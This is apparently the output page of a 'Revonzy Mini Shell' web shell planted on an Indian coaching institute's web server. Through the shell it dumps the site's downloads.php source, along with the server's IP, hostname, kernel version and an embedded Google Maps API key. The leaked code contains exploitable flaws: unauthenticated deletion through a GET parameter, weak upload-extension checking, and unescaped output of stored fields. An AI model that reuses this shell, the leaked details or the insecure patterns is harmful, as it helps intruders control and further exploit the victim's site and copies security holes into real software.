Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/vsacademysolapur.in/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/vsacademysolapur.in/downloads.php

<?php
    require_once("admin//lib/functions.php");
    $db = new login_function();
                    
    $flag   =   0;
    if(isset($_GET['delete_id']))
    {
        $delete_id  =   $_GET['delete_id'];
        
        if($db->delete_slider_images($delete_id))
        {
            $flag   =   1;
        }
    }

$photo="";
    if(isset($_POST['submit1']))
    {
        
    $full_name = $_POST['full_name'];
    $email = $_POST['email'];
    $class = $_POST['class'];
    $college_name = $_POST['college_name'];
    $batch = $_POST['batch'];
    $testimonial = $_POST['testimonial'];

    $valid_formats = array("jpg","png","gif","bmp","jpeg","pdf","JPEG","JPG","BMP","PNG","GIF","PDF");
        
        if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
        {   
            $name               =   $_FILES['photo']['name'];
            $size               =   $_FILES['photo']['size'];

            if(strlen($name))
                {               
                    list($txt, $ext) = explode(".", $name);
                    
                    if(in_array($ext,$valid_formats))
                    {
                        $files  =   array();

                        function generateRandomString($length = 10) {
                            $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
                            $charactersLength = strlen($characters);
                            $randomString = '';
                            for ($i = 0; $i < $length; $i++) 
                            {
                                $randomString .= $characters[rand(0, $charactersLength - 1)];
                            }
                            return $randomString;
                        }
                        
                        $current_random_string = generateRandomString();
                        
                        $photo = $current_random_string.".".strtolower($ext);                       

                        $tmp = $_FILES['photo']['tmp_name'];
                        
                        $img_Dir = "feedback_images/";
                        
                        if(!file_exists($img_Dir))
                        {
                            mkdir($img_Dir);
                        }
                        
                        if(move_uploaded_file($tmp,$img_Dir.$photo))
                        {
                            
                        }
                        else
                        {
                            $image_error    =   "failed" ;
                            $flag               =   1;
                        }   
                    }
                    else
                    {
                        $image_error    = "Invalid file format";
                        $flag               =   1;  
                    }   
                }   
        }
        

    if($db->add_feedback_details($full_name,$email,$class,$college_name,$batch,$photo,$testimonial))
    {
       
     echo '<script type="text/javascript">alert("Thank For Sharing Your Experience With Us!.");</script>';
    }
        
        
    }
?>
<!doctype html>
<html class="no-js" lang="en">

<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <title>Edification - Responsive Education HTML5 Template</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- Place favicon.ico in the root directory -->
    <link rel="shortcut icon" type="image/png" href="assets/images/icon/favicon.ico">
    <!-- all css here -->
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/font-awesome.min.css">
    <link rel="stylesheet" href="assets/css/owl.carousel.min.css">
    <link rel="stylesheet" href="assets/css/magnific-popup.css">
    <link rel="stylesheet" href="assets/css/slicknav.min.css">
    <link rel="stylesheet" href="assets/css/typography.css">
    <link rel="stylesheet" href="assets/css/default-css.css">
    <link rel="stylesheet" href="assets/css/styles.css">
    <link rel="stylesheet" href="assets/css/responsive.css">
    <!--color css-->
    <link rel="stylesheet" id="triggerColor" href="assets/css/triggerplate/color-0.css">
    <!-- modernizr css -->
    <script src="assets/js/vendor/modernizr-2.8.3.min.js"></script>
</head>
<style>
.document-section {
    padding: 20px;
    color: #003366; /* Dark Blue Text */
    text-align: center;
}

h1 {
    margin: 0;
    padding-bottom: 20px;
    color: #003366; /* Dark Blue */
}

table {
    width: 100%;
    border-collapse: collapse;
    margin: 0 auto;
}

thead {
    background-color: #003366; /* Dark Blue */
    color: #FFD700; /* Dark Yellow */
}

th, td {
    border: 1px solid #003366; /* Dark Blue Borders */
    padding: 10px;
    transition: background-color 0.3s, color 0.3s; /* Smooth transition */
   
}

th {
    background-color: #032b76; /* Even Darker Blue */
    color: white; /* Dark Yellow */
     font-size:15px;
}

td {
    background-color: #e0e0e0; /* Light Gray for alternating rows */
     font-size:15px;
}

tr:nth-child(odd) td {
    background-color: #f9f9f9; /* Slightly different background for odd rows */
}

/*tr:hover td {*/
    background-color: #003366; /* Dark Blue on hover */
    color: #FFD700; /* Dark Yellow Text on hover */
/*}*/

td a {
    color: #003366; /* Dark Blue Links */
    text-decoration: none;
    transition: color 0.3s; /* Smooth transition for links */
}

td a:hover {
    color: #FFD700; /* Dark Yellow on hover */
    text-decoration: underline;
}
</style>

<body>
 <?php require_once('header1.php') ?>
    <div class="offset-search">
        <form action="#">
            <input type="text" name="search" placeholder="Sarch here...">
            <button type="submit"><i class="fa fa-search"></i></button>
        </form>
    </div>
    <div class="body_overlay"></div>
  
  <section class="document-section">
        <h1>Downloads</h1>
        <table>
            <thead>
                <tr>
                    <th>Sr. No.</th>
                    <th>Title</th>
                    <th>Description</th>
                    <th>View Document</th>
                    <th>Download Document</th>
                </tr>
            </thead>
            
            <tbody>
            	<?php
									
			$report_details = $db->get_all_donwloads_images();
			if(!empty($report_details))
				{
					$counter =0;
					foreach($report_details as $record)
					{
						$id				=	$report_details[$counter][0];
						$title			=	$report_details[$counter][1];
						$images			=	$report_details[$counter][2];
						$description	=	$report_details[$counter][3];
						$date	        =	$report_details[$counter][4];
						$time	        =	$report_details[$counter][5];
		?>
                <tr>
                    <td>Document 1</td>
                    <td><?php echo $title  ?></td>
                    <td><?php echo $description  ?></td>
                    <td><a href="admin/downloads/<?php echo $images; ?>" target="_blank">View</a></td>
                    <td><a href="admin/downloads/<?php echo $images; ?>" target="_blank" download>Download</a></td>
                </tr>
               	<?php
											$counter++;
										}
									}
									else
									{
										echo "no data found.";
									}
                        ?>
            </tbody>
        </table>
    </section>
    <!-- footer area start -->
   <footer>
    <div class="footer-top has-color pt--120 pb--30">
        <div class="container">
            <div class="row">
                <div class="col-md-4">
                    <div class="widget widget-company">
                        <a href="index.php"><img src="assets/images/icon/images.png" alt="VS Academy Logo" style="width: 200px;border-radius: 10px;"></a>
                        <div class="address">
                            <h6>Office Address</h6>
                            <p>Paras Building, Near Hotel Zakas, Saat Rasta, Solapur</p>
                        </div>
                        <div class="address">
                            <h6>Business Phone</h6>
                            <p>+91 9096655180</p>
                            <p>+91 9890112009</p>
                        </div>
                        <div class="address">
                            <h6>Business Email</h6>
                            <p>vsacademy1983@gmail.com</p>
                        </div>
                        <ul class="social">
                            <li><a href="#"><i class="fa fa-facebook" style="color:white;"></i></a></li>
                            <li><a href="#"><i class="fa fa-twitter"></i></a></li>
                            <li><a href="#"><i class="fa fa-instagram"></i></a></li>
                            <!-- Add or remove social media links as needed -->
                        </ul>
                    </div>
                </div>
                <div class="col-md-3">
                    <div class="widget footer-link">
                        <h4 class="fwidget-title mb-5 pb-3 primary-color">Quick Links</h4> 
                        <ul>
                            <li><a href="#"><i class="fa fa-angle-right"></i>Courses</a></li>
                            <li><a href="#"><i class="fa fa-angle-right"></i>About Us</a></li>
                            <!-- <li><a href="#"><i class="fa fa-angle-right"></i>Success Stories</a></li> -->
                            <li><a href="#"><i class="fa fa-angle-right"></i>Feedback</a></li>
                            <li><a href="#"><i class="fa fa-angle-right"></i>Contact Us</a></li>
                            <li><a href="#"><i class="fa fa-angle-right"></i> Feedback</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col-md-5">
                    <div class="widget widget-opening">
                        <h4 class="fwidget-title mb-5 pb-3 primary-color">About VS Academy</h4>
                        <p>Since 2007, VS Academy has been nurturing students’ aspirations for careers in medicine and engineering. Our students consistently achieve top ranks in NEET, JEE, and MHT-CET. From our humble beginnings with just seven students, we have grown to become one of Solapur's leading coaching institutes, offering advanced facilities and personalized attention to help every student succeed.</p>
                    </div>
                </div>
            </div>
            <div class="footer-bottom">
                <p>Copyright © 2024 <span><a class="primary-color" href="index.php">VS Academy</a></span> - All Rights Reserved. Designed by <span><a class="primary-color" href="#" target="_blank">vs academy</a></span></p>
            </div>
        </div>
    </div>
</footer>

    <!-- footer area end -->
 

    <!-- jquery latest version -->
    <script src="assets/js/vendor/jquery-2.2.4.min.js"></script>
    <!-- bootstrap 4 js -->
    <script src="assets/js/bootstrap.min.js"></script>
    <!-- others plugins -->
    <script src="assets/js/owl.carousel.min.js"></script>
    <script src="assets/js/jquery.magnific-popup.min.js"></script>
    <script src="assets/js/jquery.slicknav.min.js"></script>
    <script src="assets/js/plugins.js"></script>
    <!-- google map -->
      <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyDsUcTjt43mTheN9ruCsQVgBE-wgN6_AfY&#038"></script>
    <script src="assets/js/google-maps.js"></script>
    <script src="assets/js/scripts.js"></script>
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4